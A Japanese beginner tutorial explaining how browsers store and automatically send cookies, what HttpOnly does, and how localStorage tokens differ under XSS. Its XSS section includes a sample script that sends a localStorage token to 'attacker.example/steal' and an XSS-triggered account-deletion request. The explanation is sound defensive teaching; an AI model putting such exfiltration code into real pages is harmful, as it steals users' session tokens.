Cookie はなぜ自動で送られるのか - Set-Cookie と HttpOnly

入門 | 9分 で読める | 2026.06.14

公式ドキュメント

「読めないのに送られる」とは何か

Cookie の説明でよく出てくるのが、次の言い方です。

HttpOnly Cookie は JavaScript から読めない。しかし、ブラウザは自動でサーバへ送る。

初めて聞くと矛盾しているように見えます。読めないなら送れないのでは、と思うかもしれません。

しかし、Cookie を送っている主体は JavaScript ではありません。送っているのはブラウザ本体です。

ログインに成功したとします。サーバはレスポンスに Set-Cookie ヘッダーを付けて、ブラウザにCookieの保存を依頼します。

HTTP/1.1 200 OK
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax; Path=/
Content-Type: text/html

ブラウザはこのヘッダーを見て、example.com 用のCookieとして session_id=abc123 を保存します。

この時点で、JavaScript が localStorage.setItem() のように保存処理を書く必要はありません。HTTPレスポンスのヘッダーを見て、ブラウザがCookie保存を担当します。

次回アクセス時にブラウザが自動で付ける

その後、同じサイトの /mypage にアクセスすると、ブラウザは保存済みCookieを自動でリクエストに付けます。

GET /mypage HTTP/1.1
Host: example.com
Cookie: session_id=abc123

これもJavaScriptが明示的に付けたわけではありません。ブラウザがCookieの DomainPathSecureSameSite などの条件を見て、送るべきか判断します。

ポイント: Cookie は「JavaScriptが読むデータ」ではなく、「ブラウザがHTTP通信に付けるデータ」と考えると理解しやすくなります。

HttpOnly は JavaScript から隠す設定

HttpOnly が付いたCookieは、JavaScriptから読めません。

console.log(document.cookie);
// HttpOnly の session_id は表示されない

ただし、ブラウザのCookie保存領域から消えたわけではありません。ブラウザ本体はCookieを持っています。そのため、同じサイトへの通信では自動送信できます。

操作HttpOnly Cookie
document.cookie で読むできない
JavaScriptで値を盗む難しくなる
ブラウザがHTTPリクエストに付けるできる
サーバがCookieを読んで認証するできる

localStorage との違い

localStorage にトークンを置いた場合、APIを呼ぶときはJavaScriptが明示的に取り出して送ります。

const token = localStorage.getItem("access_token");

await fetch("/api/user", {
  headers: {
    Authorization: `Bearer ${token}`,
  },
});

Cookieの場合は、JavaScriptがCookieの値を読む必要がありません。

await fetch("/api/user");

このリクエストにCookieが付くかどうかは、Cookieの属性や fetch の送信先によって決まります。同一オリジンの通常リクエストであれば、ブラウザがCookieを付けます。

XSS では何が変わるのか

もしXSSが起き、攻撃者のJavaScriptがページ上で実行されたとします。

localStorage にトークンがある場合、攻撃者はそれを読めます。

const token = localStorage.getItem("access_token");

fetch("https://attacker.example/steal", {
  method: "POST",
  body: token,
});

一方、HttpOnly Cookie の値は読めません。

console.log(document.cookie);
// session_id は出てこない

この違いは大きいです。トークンを外部に持ち出されると、攻撃者は自分の環境からAPIを叩き続けられる可能性があります。HttpOnly Cookie は、この「持ち出し」を難しくします。

HttpOnly Cookie は読めませんが、ブラウザは自動送信します。つまり、XSSがあるページ上で攻撃者が次のような処理を実行すると、Cookie付きのリクエストが送られる可能性があります。

await fetch("/api/delete-account", {
  method: "POST",
});

このとき、JavaScriptはCookieの中身を知りません。それでもブラウザは /api/delete-account へのリクエストにCookieを付けます。

これが「Cookie は読めなくても、使われる可能性はある」という意味です。

注意: HttpOnly は XSS そのものを防ぎません。防ぐのは主に Cookie の値を JavaScript から読まれることです。XSS 対策は別途必要です。

Cookie 自動送信には、セッション管理をシンプルにする利点があります。

ログイン後、ブラウザはセッションIDをCookieとして持ちます。サーバは毎回Cookieを見て、ログイン済みユーザーを判断します。

// サーバ側のイメージ
app.get("/mypage", (req, res) => {
  const sessionId = req.cookies.session_id;
  const session = sessionStore.get(sessionId);

  if (!session) {
    return res.redirect("/login");
  }

  res.send(`user_id=${session.userId} のマイページ`);
});

ブラウザ側は、セッションIDをJavaScriptで扱う必要がありません。

まとめ

Cookie は、サーバが Set-Cookie で保存を依頼し、ブラウザが条件に合うリクエストへ自動で付けるデータです。

HttpOnly は「JavaScriptに読ませない」ための設定です。読めないからといって、ブラウザが送れなくなるわけではありません。

認証で重要なのは、この2つを分けることです。

  • JavaScriptから読めるか
  • HTTP通信に自動で付くか

HttpOnly Cookie は、JavaScriptから読めないが、ブラウザはサーバへ送れる。この性質のおかげで、セッションIDをブラウザに置きつつ、トークン窃取リスクを下げられます。

参考リソース

  • 公式ドキュメント - Cookie はなぜ自動で送られるのか - Set-Cookie と HttpOnly を確認するための一次情報

次に読む記事

← 一覧に戻る
PR
PR
PR
PR